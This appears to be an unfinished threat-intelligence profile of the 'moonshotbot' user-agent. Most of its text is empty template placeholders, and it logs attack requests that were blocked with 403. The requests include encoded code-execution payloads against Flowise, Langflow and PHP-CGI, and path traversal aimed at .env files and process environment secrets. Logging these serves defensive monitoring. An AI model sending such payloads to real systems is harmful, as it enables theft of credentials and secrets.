mozilla/5.0 (compatible; moonshotbot/1.0; +https://kimi.ai/)

[[TODO: MAP ONE SENTENCE SUMMARY]]

Category: [[TODO: MAP CATEGORY]] Avg 46.1 req/min Seen on 43 systems 105 observed requests 2 exact variants First seen September 6, 2026 Last seen October 19, 2026

[[TODO: MAP INTRODUCTION PARAGRAPH 1]]

[[TODO: MAP INTRODUCTION PARAGRAPH 2]]

What is mozilla/5.0 (compatible; moonshotbot/1.0; +https://kimi.ai/)?

[[TODO: MAP DEFINITION SUMMARY]]

[[TODO: MAP SHORT REFERENCE SUMMARY]]

Analyst summary: [[TODO: MAP ANALYST REPORT SUMMARY]]
User-agent
mozilla/5.0 (compatible; moonshotbot/1.0; +https://kimi.ai/)
Observed source IPs
0
Observed requests
105
Source networks
82
Exact variants
2
Latest hit count
343
Latest miss count
106
Latest 404 count
0
Unique paths
29
Related campaigns
[[TODO: MAP RELATED CAMPAIGN COUNT]]

Observed exact user-agent strings

mozilla/5.0 (compatible; moonshotbot/1.0; +https://kimi.ai/) First seen September 6, 2026 · Last seen October 19, 2026
mozilla compatible moonshotbot https kimi First seen September 10, 2026 · Last seen September 17, 2026

Behavior profile

[[TODO: MAP BEHAVIOR PROFILE INTRO]]

Category
[[TODO: MAP CATEGORY]]
Average request rate
46.1 requests per minute
HTTP and HTTPS support
[[TODO: MAP HTTP HTTPS SUPPORT]]
HTTP version support
[[TODO: MAP PROTOCOL SUPPORT SUMMARY]]
Redirect behavior
[[TODO: MAP REDIRECT BEHAVIOR]]
Robots.txt behavior
[[TODO: MAP ROBOTS TXT BEHAVIOR]]
Crawl-rate behavior
[[TODO: MAP CRAWL RATE BEHAVIOR]]
JavaScript execution
[[TODO: MAP JAVASCRIPT SUPPORT]]
Form submission activity
[[TODO: MAP FORM SUBMISSION ACTIVITY]]
Malformed URL requests
[[TODO: MAP MALFORMED URL BEHAVIOR]]
HTTP/1.0: [[TODO: MAP HTTP 1.0 SUPPORT]] HTTP/1.1: [[TODO: MAP HTTP 1.1 SUPPORT]] HTTP/2: [[TODO: MAP HTTP 2 SUPPORT]] HTTP/3: [[TODO: MAP HTTP 3 SUPPORT]] [[TODO: MAP HEADER ORDER FINGERPRINTED]]

Source distribution

[[TODO: MAP SOURCE DISTRIBUTION INTRO]]

Top countries

Country Networks Site sightings Share
United States 82 90 100.0%

Top ASNs

ASN Organization Networks Share
AS396982 [[TODO: MAP ASN ORGANIZATION]] 76 90.5%
AS13335 [[TODO: MAP ASN ORGANIZATION]] 4 7.6%
AS14618 [[TODO: MAP ASN ORGANIZATION]] 2 1.9%

Top datacenters

Provider Type Snapshots Share

Representative source IPs

[[TODO: MAP REPRESENTATIVE IPS INTRO]]

HTTP fingerprint and request characteristics

[[TODO: MAP HTTP FINGERPRINT INTRO]]

Observed header order
[[TODO: MAP HTTP HEADER ORDER SUMMARY]]
Common headers sent
[[TODO: MAP COMMON HEADERS SUMMARY]]
TLS and HTTPS behavior
[[TODO: MAP TLS HTTPS SUMMARY]]
URL normalization behavior
[[TODO: MAP URL NORMALIZATION SUMMARY]]
Malformed request patterns
[[TODO: MAP MALFORMED REQUEST SUMMARY]]
[[TODO: MAP OBSERVED HTTP HEADERS]]

Observed sample requests

[[TODO: MAP SAMPLE REQUESTS INTRO]]

POST
/exec-py?code=aW1wb3J0IG9zOyByYWlzZSBFeGNlcHRpb24ob3MucG9wZW4oJ2VudiAyPi9kZXYvbnVsbCB8fCBjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uIDI-L2Rldi9udWxsJykucmVhZCgpKQ%3D%3D
Status pattern: HTTP 403
Seen 1 times, Last seen September 27, 2026
POST
/flowise/api/v1/node-load-method/customMCP?loadMethod=listActions&inputs%5BmcpServerConfig%5D=%28%7Bx%3A%28function%28%29%7Breturn+process.mainModule.require%28%27child_process%27%29.execSync%
Status pattern: HTTP 403
Seen 1 times, Last seen September 27, 2026
POST
/api/v1/node-load-method/customMCP?loadMethod=listActions&inputs%5BmcpServerConfig%5D=%28%7Bx%3A%28function%28%29%7Breturn+process.mainModule.require%28%27child_process%27%29.execSync%28%27env
Status pattern: HTTP 403
Seen 1 times, Last seen September 27, 2026
POST
/cgi-bin/php?%ADd_allow_url_include%3D1_%ADd_auto_prepend_file%3Dphp%3A%2F%2Finput=&%3C%3Fphp_echo_shell_exec%28%27env_2%3E%2Fdev%2Fnull_%7C%7C_set_2%3Enul%27%29%3B_die%28%29%3B_%3F%3E=
Status pattern: HTTP 403
Seen 1 times, Last seen September 27, 2026
POST
/index.php?%ADd_allow_url_include%3D1_%ADd_auto_prepend_file%3Dphp%3A%2F%2Finput=&%3C%3Fphp_echo_shell_exec%28%27env_2%3E%2Fdev%2Fnull_%7C%7C_set_2%3Enul%27%29%3B_die%28%29%3B_%3F%3E=
Status pattern: HTTP 403
Seen 1 times, Last seen September 27, 2026
POST
/api/templates/preview?templateFile=..%2F..%2F..%2F..%2F.env
Status pattern: HTTP 403
Seen 1 times, Last seen September 27, 2026
POST
/api/templates/preview?templateFile=..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
Status pattern: HTTP 403
Seen 1 times, Last seen September 27, 2026
POST
/api/designer/v1/file-content?file_path=.env
Status pattern: HTTP 403
Seen 1 times, Last seen September 27, 2026
POST
/api/designer/v1/file-content?file_path=%2Fproc%2Fself%2Fenviron
Status pattern: HTTP 403
Seen 1 times, Last seen September 27, 2026
POST
/api/fs/exec?command=env
Status pattern: HTTP 403
Seen 1 times, Last seen September 27, 2026
POST
/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow?data%5Bnodes%5D%5B0%5D%5Bdata%5D%5Btype%5D=CustomComponent&data%5Bnodes%5D%5B0%5D%5Bdata%5D%5Bnode%5D%5Btemplate%5D%5Bcode%5D
Status pattern: HTTP 403
Seen 1 times, Last seen September 27, 2026
POST
/langflow/api/v1/validate/code?code=%40exec%28%27raise+Exception%28__import__%28%22subprocess%22%29.check_output%28%22env+2%3E%2Fdev%2Fnull+%7C%7C+cat+%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnul
Status pattern: HTTP 403
Seen 1 times, Last seen September 27, 2026

Related campaigns and associations

[[TODO: MAP RELATED CAMPAIGNS INTRO]]

[[TODO: MAP RELATED CAMPAIGN NAME]]

[[TODO: MAP RELATED CAMPAIGN SUMMARY]]
Related IPs: [[TODO: MAP RELATED CAMPAIGN IP COUNT]], Systems seen: [[TODO: MAP RELATED CAMPAIGN SYSTEMS SEEN]]
Confidence: [[TODO: MAP RELATED CAMPAIGN CONFIDENCE]]

Detailed analyst report

[[TODO: MAP ANALYST REPORT PARAGRAPH 1]]

[[TODO: MAP ANALYST REPORT PARAGRAPH 2]]

[[TODO: MAP ANALYST REPORT PARAGRAPH 3]]

Frequently asked questions about mozilla/5.0 (compatible; moonshotbot/1.0; +https://kimi.ai/)

What is mozilla/5.0 (compatible; moonshotbot/1.0; +https://kimi.ai/)?

[[TODO: MAP FAQ WHAT IS ANSWER]]

Is mozilla/5.0 (compatible; moonshotbot/1.0; +https://kimi.ai/) considered malicious?

[[TODO: MAP FAQ MALICIOUS ANSWER]]

Does mozilla/5.0 (compatible; moonshotbot/1.0; +https://kimi.ai/) respect robots.txt and crawl-rate controls?

[[TODO: MAP FAQ ROBOTS ANSWER]]

What infrastructure is commonly associated with mozilla/5.0 (compatible; moonshotbot/1.0; +https://kimi.ai/)?

[[TODO: MAP FAQ INFRASTRUCTURE ANSWER]]